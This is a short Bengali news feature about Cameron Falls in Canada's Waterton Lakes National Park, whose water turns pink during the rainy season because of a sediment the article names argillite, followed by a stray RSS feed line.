বছরের অন্যান্য সময় স্বাভাবিক থাকলেও বর্ষা এলেই পানির রং হয়ে যায় গোলাপি। এই আশ্চর্যজনক জলপ্রপাতের অবস্থান কানাডার আলবের্তা প্রদেশে। সেখানকার ওয়াটারটন লেকস ন্যাশনাল পার্কে রয়েছে ক্যামেরন নামের এই জলপ্রপাত। প্রকৃতির এমন আশ্চর্যজনক রহস্য ভেদ করতে পারেনি মানুষ। আবার এর বৈজ্ঞানিক ব্যাখ্যা জানার পরও অবাক হতে হয় আমাদের।

এমনিতে দেখতে সাধারণ জলপ্রপাতের মতো হলেও এর রয়েছে এক বিশেষ আকর্ষণ। বছরের অন্য সময়ে এ জলপ্রপাত ও তার সংলগ্ন হ্রদের পানি দেখতে খুবই সুন্দর। কিন্তু বর্ষার সময়ে এখানেই দেখা যায় প্রকৃতির জাদু।

সেই সময়ে এ জলপ্রপাতের রং গোলাপি হয়। এমনকি দিনের আলোর পরিবর্তনের সঙ্গে সঙ্গে হ্রদের পানি কখনও হয়ে যায় টুকটুকে লাল, কখনও বা গাঢ় কমলা। ভূতত্ত্ববিদদের মতে, ক্যামেরন জলপ্রপাতের আশপাশে অ্যাগ্রোলাইট নামে এক ধরনের পলিমাটি আছে। বর্ষার সময় এ মাটি পানির সঙ্গে মিশলে তা গোলাপি রং ধারণ করে।

]]>
https://www.dhakaskynews.com/bichitra/2020/05/12/News_ID-155/feed/ 0